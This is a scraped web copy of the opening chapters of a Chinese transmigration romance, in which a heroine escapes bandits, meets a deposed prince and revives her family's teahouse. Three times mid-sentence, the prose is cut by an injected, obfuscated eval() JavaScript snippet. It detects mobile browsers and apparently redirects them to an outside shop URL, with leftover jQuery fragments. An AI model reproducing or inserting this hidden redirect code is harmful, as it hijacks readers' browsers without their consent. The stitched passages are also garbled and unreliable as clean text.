《靠踩雷也能暴富吗?》 1. 逃离 大凉王朝,昭和十九年。 宋云熹睁开眼,入目是一片红。 她双目涣散,躺在床上愣神。被重物碾碎四肢的感觉还保留在身体里,碎骨扎进血肉纠缠在一起的声音挥之不去。 待到意识稍稍清醒,她环顾了一下四周,红绸红被红烛,屹然一副婚房模样,倒是和脑子里纷乱的记忆对上了号。 不及她深思,“吱呀”一声,门被推开。 两道人影一前一后进来,似乎还在争执。 一道较憨厚的声音小声劝说: “二哥,她明日就要和大哥成婚了,你此时动了她,大哥知道怕是要生气。” 另一道稍尖细的声音满是不屑: “她父母海难横死,婶母为了侵占遗产,倒贴三吊钱将她送给了咱们,一个没人要的赔钱货,难不成大哥还会为了个贱人自断手足不成?” “就你这畏畏缩缩的性子如何能成大事?不敢就出去给我望风,先让小爷我尝尝鲜。” 憨厚男子犹豫片刻,终究还是叹了口气转身离开,还顺手合上了门。 红色的床幔被掀开,一个尖嘴猴腮的男人出现,嘴里念叨着“让小爷好好疼疼你”,手上迫不及待地解着裤带。 双目对视,二人皆是一愣。 她来不及细想,下意识抬膝一顶。 正中靶心。 “啊!!” 男人捂着痛处倒在地上,脸色苍白,疼的额头直冒汗。 趁着他还没缓过来,宋云熹拖着还有些瘫软的四肢从床上爬起,夺门而逃。 门口候着的人听到声音回头,眼睛瞪大,宋云熹趁他没反应过来,率先出手。 她一手抓住其腕部,腰部发力,“砰”地一声闷响,男人仿佛成了一个失去重心的布娃娃,被结结实实砸在地面上,激起一片尘土。 宋云熹单膝压在憨厚男人身上,甩了甩还有些酸软的手,回头一看,尖嘴猴腮的男人正面目狰狞,姿势怪异地朝门口冲来。 不再理会地上哀嚎的人,她转身随便挑了条路起身跑走。 男人刚好看到她跑走的背影,气急败坏地一拍门框,尖利的嗓音震起一片飞鸟: “所有人给我把她抓回来,我要让那个贱人生不如死!” 身后的追兵穷追不舍,宋云熹为了甩开那些人,一路上东躲西藏,为了逃命用尽毕生绝学。 好不容易找到个一人高的草垛歇口气,眼前突然飘过几条类似弹幕的文字。 【终于可以发弹幕了,哎我去,怎么刚来主播就生死时速了?】 【节目效果拉满。】 她平复着过快的呼吸,看着一条条刷过的弹幕,眉头紧蹙。 这就是她穿越自带的金手指?弹幕系统? “快,分头搜,一个角落都不要放过!” “二哥说了,今天活要见人,死要见尸!” 纷杂的脚步声在草垛外停下,她一颗心提到了嗓子眼,屏住呼吸不敢动弹。 直到脚步声越来越远,悬着的心才稍稍放下。 她小心翼翼探头观察了一下周围的情况,确认无人才朝那群人的反方向离开。 结果刚走没几步,转角就和一个壮汉撞了满怀。 宋云熹:“……” 壮汉:“……” 宋云熹撒腿就跑。 “人在那,快追,别让她跑了!” 她慌不择路地跑到一个三岔路口,弹幕适时出现。 【主播,走右边那条,前面有救兵!】 身后纷乱的脚步声越来越近,来不及辨别真伪,她只能选择赌一把。 约莫跑了半炷香的功夫,眼前终于出现了一幢房顶为三角形的茅草屋。 此时,屋内还在断断续续传出人声。 真的有人! 她心下一喜,却未放下戒心,顺手从墙边抓过一把破旧的铲子,掂量了一下重量,悄悄摸到支起的窗户边上,朝内望去。 屋内有两名男子,一位身着青衫面容俊朗,一位身着黑衣满脸络腮胡,二人似乎正在对峙。 宋云熹琢磨着,这二人里应该就有一个是自己的救兵。 可究竟是哪一位呢? 不知为何,原先激烈的弹幕现在也毫无动静,宋云熹只得先按耐下性子观察。 屋内,络腮胡背对着窗口似乎有些激动,嘴里一直叽里呱啦不知说些什么,宋云熹竖起耳朵听了半天,却什么也没听清。 青衫男子长身鹤立,从始至终未答一语,唇角似笑非笑。 眼瞧着里面还有越说越激烈的趋势,宋云熹却是待不住了。 要不了多久追兵就会赶来,没时间在这耽搁。 宋云熹咬咬牙,心一狠,准备先打晕一个再说。 根据电视剧里的知识,长得丑的肯定不是好人。 二选一总不能选错吧! 就在此刻,说到激动处的络腮胡不知从哪掏出了一把剑就往青衫男人刺去。 宋云熹一惊,也顾不得那许多,当机立断翻窗来到他身后,举起手中的铲子狠狠敲下。 可能是络腮胡的注意力都在青衫男子身上,居然没有发现悄悄绕到他身后的宋云熹,被她一击得手。 高大的身影在身前缓缓倒下,她举着铲子,气喘吁吁地抬眼看去,却发现刚才的青衫男子不知何时也倒在了地上。 她脸色骤变,丢下铲子就朝男子跑去,内心恨不得再给那络腮胡补上一铲子。 络腮胡刚才那剑莫不是把她的救兵给捅死了?? 宋云熹快走两步来到男子身前蹲下身,伸出手探了探他的呼吸。 没有?! 她的心跳好像也要停了,不信邪地摸上青衫男子的胸口。 虽然有些微弱,但好歹还在跳。 提起的心稍稍放下,这才反应过来,青衫男子身上并没有任何血迹。 她拧起眉。 这人莫不是吓晕的? 仅有的一些医学知识也不足以支撑她判断现在的情况,只能蹲在原地,犹豫着要不要接盆水将他泼醒。 消失多时的弹幕又出现了。 【总算可以发弹幕了,主播怎么把救兵给打晕了?】 【系统诚不欺我,踩雷体质就是真的踩雷啊。之前投票时还以为只是选着玩的,没想到居然来真的?】 【那主播要成为皇商才能回去也是真的咯?】 【应该是。】 那个络腮胡才是她的救兵?踩雷体质又是什么? 难不成她的金手指不只是单纯的弹幕? 宋云熹被刷屏的弹幕弄得眼花缭乱,好不容易才梳理出一些头绪。 她的金手指准确来说应该是互动弹幕类系统,在她不知道的情况下,观众已经通过投票决定了她后续的行动。 根据弹幕所说,投票选的目标就是成为皇商,完成就能离开,至于那个踩雷体质,应该是类似于自带天赋之类的东西。 而且原本是有更好的选项,观众们却为了有趣给她选取了最难的模式。 宋云熹看着一条条文字,差点气笑了。 本来以为为了救只猫被撞死已经够倒霉了,结果还有更倒霉的,穿越成一个受弹幕摆布的工具人,成为供人解闷的乐子。 可从来没有人能随意摆布她宋云熹。 前世亲生父母将她遗弃,养母生意失败留下一堆债务逃跑,被追债人堵在学校门口时她都没有放弃。 人生是她的,该怎么做,只能由她说了算。 既然救兵没了,那她就自救。 正打算将放在他胸口的手收回,晕着的人突然抓住她的手,紧闭的双眼睁开,眼神清明没有一丝迷茫: “姑娘这是在干嘛?” 嗓音清润,如同潺潺流过的泉水。 宋云熹吓了一跳,下意识就想把手抽回。 握着她的手紧了紧,青衫男子微仰起头露出优越的眉眼,线条完美的唇一张一合:“莫不是……在占我的便宜?” 有风从未关紧的前门溜进来,她乱了的发丝从耳边垂下,虚虚悬在他从散乱的衣襟中露出的锁骨间。 呼吸和发丝同时落在他裸露的肌肤上,宋云熹顿觉不妥,用力将他的手甩开起身,居高临下看着地上的人,脸上露出一抹无辜的神色: “公子说什么呢,我不过是想看看公子是否无恙罢了。” 双手被人甩开他也不恼,唇角微微勾起,一双漂亮的眼睛里满是笑意。 宋云熹上辈子不是没见过样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819639|190990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 貌上乘的人,包括她自己也并不差,但长成他这样的,却是头一个。 简直是犯规。 宋云熹呆了呆,有些不自然地移开目光,朝地上的人伸出手:“公子无恙便起身吧。” 顿了顿,又补了句:“地上凉。” 地上的人静默半晌没有动作,宋云熹突然反应过来此举似乎不妥,毕竟封建社会风气没那么开放,信奉的是男女授受不亲那一套。 正想收回手,一只微凉的手搭了上来。 他的手就和他的人一样好看,五指修长骨节分明,白皙的手背与食指指根相接的地方有颗红痣。 双手交握,男子借力从地上起身,微微俯身凑近她,语带笑意:“多谢姑娘。” 淡淡的琥珀甜香从他身上传来,由鼻尖钻入体内,香气绵密如绸,还带有海洋的咸湿感和木质香,沁人心脾。 待他站稳,宋云熹毫不犹豫松手后退。 掌心的暖源骤然消失,凌翌珩有些失笑:“姑娘怕我?” 宋云熹没答。 因为她全部注意力都放在弹幕上了。 【主播这是什么狗屎运,居然碰上了太子爷?】 【楼上,准确的说是前太子爷,现在已经被废了。】 废太子?废太子怎么会出现在这里? 不过仔细瞧去,他周身气度确实不似普通人家能养出来的。 想不到居然有这种好运,瘦死的骆驼比马大,他身边想必有不少暗卫,只要跟着他,就能把她带出去。 宋云熹施施然坐下,倒了两杯水:“公子也是被抓来的?” 凌翌珩垂手而立,只是静静看着她动作。 宋云熹自顾自点点头:“看来是了。” 她指指地上昏迷不醒的人:“这么说,我还无意间救了公子一命,这可是救命之恩。” 她特意咬重了“救命”两个字。 凌翌珩微微变了脸色。 提醒点到截止,宋云熹将其中一杯水递到他面前,语气真诚:“不如我们合作,一起从这里逃出去如何?” 凌翌珩似笑非笑:“姑娘这是在挟恩图报?” “非也,不过是向公子提个建议,你可以拒绝。” 他不说话了,低下头不知道在想什么。 宋云熹也不在意,自顾自喝了两杯水。 再抬起头,凌翌珩笑弯了眼睛。 “好啊。” * 跟着凌翌珩弯弯绕绕了半天,看着周围越来越山的环境,宋云熹心里暗暗提起戒心。 她折下垂落的一根枝条,状似无意问道:“公子,咱们怎么好像在朝山上走,是要从后面下山吗?” 凌翌珩没回,径直带着她走到一棵四五个成年男子张开双臂才能合抱的巨树下,转身直视着她:“姑娘怕我对你不利?” 宋云熹迎着他的视线,毫不露怯:“倒也没有,对于合作伙伴,我自然会给予信任。” 他似乎觉得她的反应很有趣,自顾自笑了会儿,笑得宋云熹忍不住露出恼怒的神色,才继续说道:“既然说了会带姑娘出去,凌某必信守承诺,我的人在此处接应。” 话锋又一转。 “不过……你也没猜错。” 宋云熹心下一跳,刚想说话,就看见他抬手一扬,一团粉末扑面而来。 她来不及闭气,吸入一口,顿时精神一恍惚,只见方才还在她几步之外的人不知何时来到了她身前。 下一瞬,她便眼前一黑,失去了意识。 凌翌珩接住瘫倒的人,脸上的笑容褪去。 “殿下?”一袭黑衣的男子从身后的树上跳下,恭敬地单膝跪地行礼。 凌翌珩将手上的人交给他,疲惫地摆摆手。 “准备离开吧。” 下属走后,他靠坐在身后的大树上,捂住隐隐有些抽痛的腹部,紧绷了一天的神经稍稍放松片刻。 其实他确实要感谢半路杀出来的这个姑娘,若不是她,他受了伤还要一个人对付那个刺客,怕是要费不少功夫。 只不过她一个弱女子居然如此轻易地就打倒了训练有素的刺客,真是乱拳打死老师傅。 想到那个画面,他又忍不住笑出声,眼里是自己都没发现的轻柔。 2. 状元茶 宋云熹是在一片树林里醒来的。 醒来时周围已经没有了人,她被放置在一棵树冠茂密的大树下,身下还细心地铺了一件青色外袍。 刚醒来的脑子还有些不清晰,愣了一会儿才想起之前的事,握拳锤了一下地面。 该死的,是她轻信于人,才会中招。 她起身拾起那件外袍,那上面还残留有另一个人身上的气息。 越想越气,她恨恨地把手中触感良好的衣袍揉成一团泄愤。 一张纸条在她动作间轻飘飘落在地上。 她蹲下身拾起,上面的字迹飘逸俊秀。 【答应姑娘的事已做到,咱们后会有期。】 宋云熹:“……” 所以那人信守了承诺将她带离了匪窝,只是方法不能让别人知晓,所以才将她迷晕的? 但不管怎么说,一言不合就把人迷晕这事,总归是不地道,她在默默记下了这笔账。 把皱巴巴的衣袍收好,寻了条路就往外走。 在她走后,不远处被大树隐去身形的两人骑着马缓缓踱出。 玄金忍了忍,还是没忍住:“殿下,我们为何要躲起来?” 凌翌珩目送着纤瘦的身影慢慢消失,策马转身: “待太久容易引起‘他们’的注意。” “不过是萍水相逢,何必给无辜之人带去困扰。” 玄金叹了口气:“殿下,咱们这次又没找到线索……” “罢了,回高金当铺重新部署吧。” * 【萍水相逢的人却愿意救主播,长得好人品好,许愿这辈子谈个这样的。】 【就是啊,还直接给主播送到了家门口,再往前走就是扬州了。】 扬州,江南地区的经济中心,是南北来往的交通枢纽,也是原主生活的地方。 宋云熹略过了那些夸赞的话语,直接锁定了最关键的信息。 她加快了几分步伐,终于赶在天黑前进了城。 街道上人声鼎沸,叫卖声络绎不绝。两旁店肆林立,就连空地也摆满了摊铺,琳琅满目的商品令人目不暇接,不少书生模样的人正驻足挑选。 她靠着脑子里仅存的一些记忆,磕磕碰碰终于找到了目的地——一座茶楼。 这是原身父亲留下的产业,也是原身唯一一个属于自己的产业。 写着“翠茗轩”三字的招牌已暗黄发黑,上面集满了灰,一看就很久没打理过。 她站在门口,看看周围人潮涌动的商铺,再看着门可罗雀的茶楼,甚至有了一种“果然如此“”的感觉。 毕竟如果这里生意兴隆,不就少了很多可看性吗?这可不是观众想看到的结果。 “客官,喝点什么?”店小二坐在桌边,时不时摆摆手赶走苍蝇,看到有客人进来也只是慢吞吞地起身,耷拉着眼皮半死不活。 “给我上一壶你们这最好的茶。”宋云熹挑挑眉,没介意他的态度,找了个靠窗的位置坐下。 店小二态度敷衍,上菜的速度倒是不慢,不多时就端上了一壶泡好的茶。 宋云熹仔细烫了烫茶具,方才倒了杯茶浅抿一口。 这一口下去,她的心已经沉到了谷底。 陈旧单一的装潢,毫无新意的茶品,甚至连茶叶的质量都不过关。 她柳眉倒竖,“砰”一声将茶杯搁到桌上,杯中茶水四溅,在桌面蜿蜒出长长的水痕,走过的地方留下一道道残渣。 “竟敢拿下等茶叶糊弄消费者。你们就是这么做生意的?” “把掌柜的给我叫过来!” 店小二还未离去,被她突然的发作吓了一跳,表情呆滞,愣在原地不知所措。 “怎么了怎么了?”一个身材富态的中年人快步走过来,胖胖的身体将小二挤开,笑眯眯地询问:“客官可是有什么地方不满意?” “你就是掌柜的?” “正是正是,鄙人姓李。” 宋云熹双手环胸靠在椅背上,冷笑:“拿下等茶叶伪装上品欺骗消费者,连最基础的质量把关都做不到,怪不得无人问津。” “这……”李掌柜不知从哪掏出块手帕擦擦额角的汗珠,神色有些尴尬,“不瞒您说,这确实是我们这儿最好的茶了。 “您是我们这半月来招待的第一位客人,我们哪儿敢糊弄您啊。” “半月来第一位客人?” “正是。”李掌柜胖胖的脸上满是陪笑:“不合您的胃口很抱歉,只是这茶您都喝过了……” 言下之意,这茶钱可不能赖账。 “……” 宋云熹在身上摸出一块玉佩丢到桌面:“掌柜的,可认得这块腰牌罢?” 桌上的白玉镂雕莲荷佩,正中间镂空,由并蒂莲缠成大大的一个“宋”。 这是原主父亲此次出门前留给原主的东西,嘱咐原主一定要妥善保管。 “东,东家?”掌柜的神色震惊。 宋云熹眼神冷冷地睨着他:“开门做生意最重要的就是信誉,你竟敢拿下等茶叶糊弄消费者,若不是我今日来查,怕是整座茶楼都要毁于你手!” “欺上瞒下,你可知错?” 掌柜的顿时大呼冤枉。 “东家,您有所不知啊。咱们从前生意正旺时也是有好茶的,可自从其他茶楼恶意压低价格抢走客源后一切都变了。为了留住顾客,咱们的价格也只能跟着一降再降,只能勉强赚回本钱。” “自从那些茶叶卖完后生意就日渐式微,店里已经拖欠两个月工钱没结了,其他人都跑了就剩我们二人,哪儿还有余钱去买好茶叶,这真的是目前店内最好的茶了。” 宋云熹细细瞧他神色不似作伪,语气缓和了些:“之前是我不了解内情冲动行事了,抱歉。” “辛苦你们撑了这么久,现在我回来了。放心,拖欠的工钱我会如数发放,还会额外给你们奖金。” 听到这话,李掌柜连连摆手,说话的唇都在微微颤抖:“为东家做事,我们不辛苦!” “好了,现在先带我去仓库看看。”宋云熹抬手制止了他的表演,淡声道。 “冬冬,还不快来带路!” 一直在角落的店小二走上前,微垂着头在前方引路,“东家,请随我来。” 李掌柜在一旁殷勤介绍茶楼的情况,宋云熹扫了他一眼,并没有说什么,抬脚往仓库走去。 穿过长长的地道到达一个地洞,里面堆满了密封的瓦坛,宋云熹随手打开几个拆了封的查看,里面的茶叶虽然质量算不上上等,但大都保存良好,看得出用了心思。 “刚才给我泡的是哪种?”宋云熹回身看着一直默默跟在后面的冬冬问。 “这个。”他打开了一个坛子。 宋云熹伸手抓了一把,手中的茶叶色泽暗沉无光,条形不完整,大小不均匀,茶梗,碎渣占据了三分之二,确实是下等茶。 回到地面,宋云熹站在掌柜的专门为她准备的二楼包厢,望着窗外熙熙攘攘的人出神。 她首先要想办法将拖欠的工钱发下去安抚一下仅有的两名员工,同时还要有些余钱来让她进行下一步的行动。 她不说话,掌柜的陪在一旁也不敢动。 良久,她的目光凝聚在一个书生模样的人身上。 “掌柜的,近期可是有科考?” 掌柜的回过神,听清她的话:“是,三年一次的乡试将在两日后举行,近日咱们这聚集了各地来参加考试的秀才。” 宋云熹眉心舒展:“去把刚才的上等茶全部给我泡上。” 掌柜的神色一怔,“东家可是有什么好主意?” 宋云熹转身,微微一笑: “不知你可曾听说过状元茶?” * 宋云熹一直觉得,占便宜和凑热闹一样,都是人类的天性。 正如此刻这般。 她戴着兜帽沉静地站在人群中,耳边充斥着纷杂得议论声。 几位书生模样的人在她前方。 “翠茗轩,这几日传的沸沸扬扬的状元茶就是出自这儿?” “正是,我昨日听同窗提起过,这儿茶的味道虽中规中矩,意头却是个好意头。” 其他人赞同地点头,走到门口又碰见几个身着青衣的人。 “赵兄,这么巧,你也来喝状元茶?” “这么巧,李兄也在这?” 几个人互相见了礼,李书生笑盈盈道:“我是昨日听同窗大力举荐,便想来瞧瞧。” 赵书生有些讶异:“这么巧,我也是那天听好友推荐。” 这段时间听到传言想来瞧一瞧热闹的百姓不在少数,都聚集在茶楼门口。 李掌柜站在临时搭的高台上,左手拿锣右手拿锤用力敲下,巨大的声响穿透嘈杂的人群,一瞬间所有人安静下来,目光灼灼地盯着他。 “各位客官注意,”李掌柜举着锣,笑眯眯地看着众人。 “本店为了响应科举,鼓励学子们奋发进取,特别推出了新品——状元茶!” 李掌柜指着旁边一块红布黑字的告示道: “购买状元茶的客官可去隔壁领取号牌,考生们可根据成绩凭号牌来领一份特殊奖品。” “三等奖,未中举,得大米一石。” “二等奖,举人,得成衣一套。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819640|190990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好,好!”书生们给面子地鼓起掌。 “接下来就是万众瞩目的一等奖!”李掌柜特意卖了个关子,待众人耐不住催促时才接着把话说完: “一等奖就是——” “一等奖,解元,得顶级碧螺春一袋。”宋云熹在告示上落下最后一笔。 “碧,碧螺春?”李掌柜惊得瞪大了眼睛,哭丧着脸说:“东家,碧螺春向来只供给皇家,咱们哪有这种东西啊?” 现任皇帝独爱碧螺春,而碧螺春每年的产量又少,仅有的一些自然都进贡给皇帝了,寻常百姓怕是见都未曾见过。 “谁说我们没有。”宋云熹收笔,勾唇一笑。 寻常百姓自然是拿不到,但弹幕老师们早就说了,宋家早年做生意时意外得到过一些,如今还收藏于宋府库房之中。 只是拿回来有些麻烦罢了,并不是不能实现。 李掌柜想到她的背景,肉眼可见的兴奋起来,可还是有些迟疑: “这,这真的有用吗?” “自然。” 宋云熹吹了吹写好的告示,将它递给李掌柜。 能参加乡试的考生本身就对自己的实力极为自信,谁都觉得自己会成为那个榜首。 这就跟彩票一样,只需要付出极少的代价却有可能收获巨额回报,又有谁能抵挡得住这种诱惑呢? 结束回忆,李掌柜笑着说完: “数量有限,先到先得!” 话音落下,全场一片哗然。 “碧螺春,这可是碧螺春啊!” “这一等奖,我要定了!” 不能参加乡试的百姓们无不面露遗憾之色,李掌柜适时补充道: “不能购买状元茶的客官们也无须遗憾,本店开店三周年庆,特意回馈新老顾客,全场茶饮,一律半价!” “好!” 全场爆发出雷霆般的掌声。 他含笑看着众人的反应,向着店内一躬身,做了个“请”的手势: “各位客官们,请吧——” 果然,巨大的诱惑吸引着书生们蜂拥而入,生怕来晚了买不着,而没资格购买状元茶的百姓们也在享受着半价茶的优惠。 翠茗轩内,原本陈旧的装饰已经彻底不见,“全场茶饮半价” 、 “喝了状元茶,明日就高中”等手写横幅挂在两边,吸引了越来越多的人。 宋云熹混在人群中,在周围驳杂的空气中敏锐地嗅到了一丝熟悉的琥珀甜香。 她愣了一下,猛地转身,却没发现丝毫的可疑人影。 低下头,被自己一惊一乍的行为逗笑了。 宋云熹在李掌柜吸引众人注意时回到了茶楼内,靠在二楼走廊栏杆上静静注视着楼下热闹的场景,新请的店小二们忙碌地穿梭于人群中。 她掩去眼底神色,手指有节奏地轻敲扶手。 薄利多销虽然可以提升销量,但除去成本和买奖品的钱,剩下的只能勉强支付工钱,想要重新让茶楼恢复运转还差不少。 她看到了挂在腰间的玉佩。 思索片刻,还是放弃了这个念头。 罢了,毕竟是原身父亲留下的,先撑着吧。 “东家,外头有人找。” 冬冬从楼梯上来,站在她身侧轻声道。 宋云熹直起身子,跟着他走到茶楼后的小巷内,巷子幽暗无光,远远望去只看见歪歪斜斜的几个身影。 如果此刻在店内参与抢购的百姓们在这就会发现,这几个身影赫然正是这几日游窜在街道各处散播消息的人。 这是宋云熹托李掌柜找的人,虽然是些地痞流氓,却深受信任,只要接下的活儿就一定会做到。 为首的男人看到宋云熹走近,直起身子。 他的脸上有条横贯半张脸的刀疤,形状狰狞可怖,咧嘴笑起来时牵动脸上的肌肉,瞧着更像是只会动的蜈蚣。 “宋姑娘,您要我们散播的消息咱弟兄们可做到了,说好的报酬呢?” “辛苦各位了。” 宋云熹面不改色,拿出早就准备好的银钱交于他们。 看着钱九接过钱袋,她轻轻一笑。 在信息传递成本巨大的古代,所有消息都靠口口相传,雇佣“水军”反而是最佳的营销方式。 事实证明,她的判断没错。 钱九掂了掂钱袋的重量,笑容真诚了些许。 “爽快,下回再有事就来东巷,报我钱九的名字,给你算便宜些。” 送走钱九几人,宋云熹转身往茶楼走,还未走几步,就看见李掌柜匆匆跑来,一张圆脸满是焦急。 “不好了东家,有人来闹事!” 3. 玉佩 宋云熹走出巷口时眼角余光扫过街道对面,拐角处似乎有个“当”字,她收回目光,跟着李掌柜匆匆往回赶。 还未靠近,就见一群人闹哄哄围着中间,不时有几句讨论传出。 “好像是茶楼拖欠工钱不结……” “听说他母亲生病了,妻子还有孕在身,着实可怜。” 宋云熹脚步一顿,心下已隐隐有几分猜测。 她为了开业临时请的几名护卫守在一旁,各个神情严肃。 周围的人看到她出现,纷纷让出位置,露出人群中央的一名男子。 身着有些洗褪色的蓝色麻布短衫,一脸憨厚,被围在中央有些手足无措。 “怎么回事?”宋云熹率先开口,吸引了他的注意。 男子看看她,又看看跟在她身旁的李掌柜,面露不解。 李掌柜很有眼力见的解释:“这位是我们茶楼的东家。” 此话一出,周围人瞬间炸开了锅。 “居然是位女东家?” “这女子就该在家相夫教子,出来抛头露面的成何体统?” “就是啊,真是丢父母的脸面。” 还有些人不赞同。 “大凉开国以来,鲜有女子行商,这位倒是有胆识。” 憨厚男子有些讶异,再看看周围严阵以待的护卫,明白了什么,慌忙摆摆手:“东,东家,误会,我不是来闹事的!” 双手搓了搓,有些窘迫地说:“我只是……想来要回我的工钱。” 工钱? 宋云熹瞥了一眼李掌柜。 他意会,凑上前来小声道:“是之前走了的厨子周正,确实还拖欠着三个月的工钱,走之前商量好了下个月结的,不知为何……” 周正还在解释:“我知道和李掌柜商量好了工钱下个月结,但是我娘病了,需要钱买药,希望东家通融通融……” 一段话说完,好似他才是拖欠工钱的那个人,黝黑的脸涨得通红。 宋云熹了然,安抚了他几句,对李掌柜道:“从今日入账里把他的工钱结了吧。” 李掌柜有些犹豫:“东家,使不得呀。” “咱们剩下的银子怕是不够接下来的事。” 宋云熹加重了语气:“给他。” 开门做生意最重要的就是信誉。 如今这么多人看着,她不能让百姓们觉得她是连工钱都不结的无良商家,倘若这样,以后还有谁敢来消费? 他怕是也想到了这点,所以才特意选今日前来,这事若解决不好,茶楼口碑基本无望了。 真是打得一手好算盘。 李掌柜无法,只能点出工钱给他。 周正拿到钱,松了口气,连连道谢,一脸感恩戴德。 这下倒是让宋云熹有些纳闷,他瞧着也不像那有心机的人。 “不必道谢,这是你的劳动所得,是我们的失误,我们该道歉。” 宋云熹脸上带着歉疚的笑容,又拿出一个布袋,“为了感谢你为茶楼的付出,这个拿去给你母亲治病用吧。” 周正接过布袋打开,里面是一些碎银。 他眼睛瞪大,手下意识抓紧袋子又松开,将袋子递过来:“东家,这使不得!” 宋云熹脸上笑容不变,语气温和:“收下吧,来了茶楼便是一家人,若是不够,可再来寻我,能帮的我都会尽力帮你一把,望你母亲能早日康复。” 推拒了几下,见宋云熹坚持,他也就收下了,眼眶有些泛红:“您真是活菩萨,日后若有用的上我周某的地方,您尽管开口!” 他走后,周围的书生们对宋云熹的行为大加赞赏。 “如此仁心义举,实属少见啊。” “确实,如此重情重义的东家,哪怕没有奖赏,我也愿意贡献一壶茶水钱。” 宋云熹好似没听到这些赞赏,热情招呼顾客:“各位,在这吃好喝好啊,有需要尽管告知我们。” 转身时,嘴角再也压制不住。 用这点钱博个好名声,简直赚翻了。 只是……接下来的资金缺口确实是个问题。 她思考片刻,手指慢慢握紧腰间玉佩。 * 高金当铺。 宋云熹掏出玉佩轻置于桌面上,玉佩雕刻的并蒂莲枝条缠成一个“宋”字。 高掌柜拿起玉佩端详片刻,面露惊异:“姑娘,当真要当这块玉佩?” “怎么,高掌柜收东西还要替顾客考虑吗?”宋云熹微微一笑。 他笑笑,微微颔首,“这块玉佩太过贵重,还请容我去请示一下。” 高掌柜起身拿着玉佩进了堂内,穿过长长的走廊来到后院一扇门前,轻敲房门。 “殿下,外面头来了位宋姑娘说要当玉佩。” 不多时门被打开,玄金走了出来,皱起眉:“店内的事你自己做主就行,此等小事也值得惊动殿下?” “这不是普通的宋家。”高掌柜压低声音,眼神隐晦,朝着北边微微拱手,“是和那位有过关系的本地富商宋家。” 玄金蹙眉,还未答话,温润的声音从门内传来: “拿来看看。” 玄金静站片刻,率先转身走了进去,高掌柜赶忙跟上。 房内,凌翌珩随意披着一件薄衫,右腿曲起,慵懒地靠在榻上,一头墨发散乱在身后。 玄金眼角抽了抽: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819641|190990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下,外客前来,您注意一下形象……” 他侧目,眼尾微微上扬,无所谓道: “我已不做太子许久。” “从前恪守的规矩,便是一概也无需遵循了不是吗?” “玉佩呢,拿来我瞧瞧。” 高掌柜眼观鼻鼻关心,恭敬低头,双手呈上玉佩。 玄金接过玉佩,转身呈上。 凌翌珩拿起对着日光仔细端详了片刻,轻笑开口: “她要多少给多少。” “殿下,这……是否不妥?”玄金有些迟疑。 “怎么,你想替我做决定么?” 凌翌珩放下玉佩,单手撑住下巴饶有兴致地看着他,明明是笑着的,可笑意却不达眼底,那股处于上位者的威压压得他喘不过气。 玄金心头一惊,“噗通”一声单膝跪地,额头冷汗直冒,低头告罪。 “属下僭越。” 哪怕凌翌珩表现出来的再温润亲和,可以他的身份,又怎能允许自己一介侍从一而再再而三的顶撞忤逆。 他这番动作,已是犯了大忌。 “出去吧。” 许久,就在玄金要顶不住压力时,那股压迫感极强的视线终于消失,他心下暗暗松了一口气,赶忙带着高掌柜退出屋子。 凌翌珩手指细细抚过玉佩上的纹路,感受着掌心中温润的触感,指尖一下下敲击桌面,神色若有所思。 “宋家家主玉佩么……” 轻轻合上房门,两人都松了一口气,高掌柜擦擦额头的冷汗,“金侍卫,这……” “没听到殿下的话吗,要多少给多少。”玄金没好气道。 高掌柜点头称是,转身快步离去。 玄金看看闭紧的房门,脸色凝重。 高掌柜急匆匆回到堂内,看着还等在原地的宋云熹,喘了口气笑着道: “宋姑娘久等了,东家说,这块玉佩过于珍贵,您尽管出价。” * 当完玉佩,宋云熹拎着装满银钱的荷包,内心充满疑惑。 这块玉佩居然如此珍贵么,那她此番举动是否有些不妥,还是说古人都是单纯又善良的好心人? 思考的间隙抬眼看了下头顶空旷澄净的天空,又别开眼。 她早已发现了,这弹幕并不是时时都有,她目前还没有摸透弹幕出现的规律,只能暂且认为这是随机出现的。 两位大婶从她身旁经过,小声讨论着什么,声音越飘越远,最后消逝在风中。 “听说没,被山匪媷去的那位宋家大小姐被一把火烧死了。” “明日是她头七,听说只要前去吊唁的人都能得到宋家的谢礼……” 4. 棺材 “山匪”、“宋家小姐”、“头七”。 这几个词合在一起,不必细问都能知道发生了什么。 把她送给山匪是为了解决她,高调举办丧礼是为了告诉所有人她已经不在了。 只要头七一过,棺椁下土,宋家小姐身亡之事盖棺定论,那她二叔就是名正言顺得继承人。 她的婶母,真是打的一手好算盘。 就如此迫不及待想继承遗产吗? 想必他们也没想到,自己能活着回来吧。 也好,该去会会他们了。 宋云熹脚步一转,朝着茶楼相反的方向而去。 走了约摸半刻钟,一扇古朴地大门出现在长街尽头。 